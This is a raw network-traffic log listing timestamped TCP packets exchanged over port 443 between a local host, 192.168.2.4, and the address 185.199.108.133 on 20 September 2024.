Sep 20, 2024 12:14:48.513686895 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.513714075 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.513727903 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.513780117 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.513801098 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.513811111 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.513847113 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.513871908 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.513953924 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.514012098 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.514041901 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.514050007 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.514081001 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.514108896 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.514183998 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.514231920 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.514252901 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.514262915 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.514295101 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.514322042 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.519433975 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.519488096 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.519624949 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.519655943 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.519757032 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.519757032 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.519862890 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.519903898 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.519937992 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.519947052 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.519973993 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.520004034 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.520971060 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.521018028 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.521068096 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.521076918 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.521115065 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.521141052 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.561453104 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.561517000 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.561671972 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.561734915 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.561734915 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.561805964 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.561856031 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.561933041 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.561933994 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.561933994 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.561970949 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.562009096 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.562057972 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.562150955 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.562150955 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.562150955 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.562175035 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.562227964 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.562370062 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.562411070 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.562457085 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.562469959 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.562511921 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.562561035 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.562608004 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.562629938 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.562642097 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.562690020 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.562890053 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.562928915 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.562967062 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.562980890 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.563010931 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.563286066 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.563333035 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.563365936 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.563378096 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.563441992 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.598239899 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.598299026 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.598474979 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.598475933 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.598475933 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.598515987 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.598550081 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.598685980 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.598686934 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.598701954 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.598718882 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.598773956 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.598849058 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.598849058 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.598860025 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.598889112 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.598908901 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.598917961 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.598944902 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.598979950 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.598989010 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.599011898 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.599023104 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.599056959 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.599096060 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.599112034 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.599155903 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.599183083 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.599190950 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.599225998 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.599252939 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.605256081 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.605295897 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.605436087 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.605465889 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.605489016 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.605540037 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.605568886 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.605568886 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.605592012 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.605611086 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.605617046 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.605659008 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.606127977 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.606168985 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.606204987 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.606213093 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.606235981 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.606273890 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.612946987 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.648483992 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.648549080 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.648686886 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.648736000 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.648745060 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.648745060 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.648789883 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.648885965 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.648914099 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.648914099 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.648926973 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.649138927 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.649138927 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.649157047 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.649178982 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.649226904 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.649260044 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.649272919 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.649311066 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.649363995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.649419069 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.649441004 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.649454117 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.649491072 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.649517059 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.649557114 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.649595976 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.649607897 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.649645090 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.649787903 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.649827003 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.649868011 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.649879932 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.649905920 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.650141954 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.650180101 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.650213003 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.650224924 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.650262117 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.684923887 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.684969902 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.685132027 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.685132027 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.685164928 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.685348988 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.685374975 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.685386896 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.685415030 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.685444117 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.685451984 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.685488939 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.685519934 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.685667038 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.685723066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.685745955 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.685756922 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.685791016 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.685817003 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.685970068 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.686009884 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.686044931 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.686053038 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.686104059 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.686247110 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.686288118 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.686319113 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.686326027 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.686356068 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.686392069 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.690865040 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.692291975 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.692333937 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.692480087 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.692480087 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.692488909 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.692514896 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.692559958 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.692575932 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.692596912 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.692625999 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.692655087 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.692980051 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.693025112 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.693059921 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.693068027 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.693109989 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.693137884 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.735279083 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.735335112 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.735495090 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.735543013 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.735547066 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.735547066 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.735572100 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.735704899 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.735750914 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.735750914 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.735769987 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.735794067 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.735939026 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.735939026 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.735956907 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.736340046 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.736397028 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.736434937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.736463070 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.736485958 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.736711025 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.736751080 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.736813068 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.736825943 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.736851931 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.737015963 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.737063885 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.737139940 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.737153053 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.737185001 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.737297058 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.737334967 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.737381935 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.737394094 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.737426996 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.737746000 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.737796068 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.737827063 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.737838984 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.737875938 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.771720886 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.771775961 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.771905899 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.771951914 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.772249937 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.772249937 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.772249937 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.772249937 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.772257090 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.772286892 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.772325039 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.772450924 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.772450924 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.772478104 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.772531986 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.772578001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.772599936 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.772613049 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.772650957 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.772790909 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.772830009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.772857904 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.772867918 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.772901058 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.778948069 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.779023886 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.779160976 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.779161930 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.779192924 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.779464006 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.779504061 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.779649019 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.779649019 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.779659986 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.779901981 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.779947996 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.779972076 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.779983044 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.780023098 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.784615040 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.822271109 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.822336912 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.822556019 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.822556019 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.822618961 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.822721004 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.822770119 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.822906971 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.822906971 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.822912931 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.822942019 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.822981119 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.823167086 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.823167086 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.823191881 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.823498011 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.823544979 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.823579073 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.823592901 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.823628902 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.823837042 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.823874950 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.823919058 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.823931932 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.823959112 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.824070930 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.824115992 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.824147940 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.824160099 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.824206114 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.824430943 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.824476004 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.824512959 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.824525118 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.824563026 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.824795008 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.824852943 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.824886084 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.824898005 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.824933052 CEST	58640	443	192.168.2.4	185.199.108.133
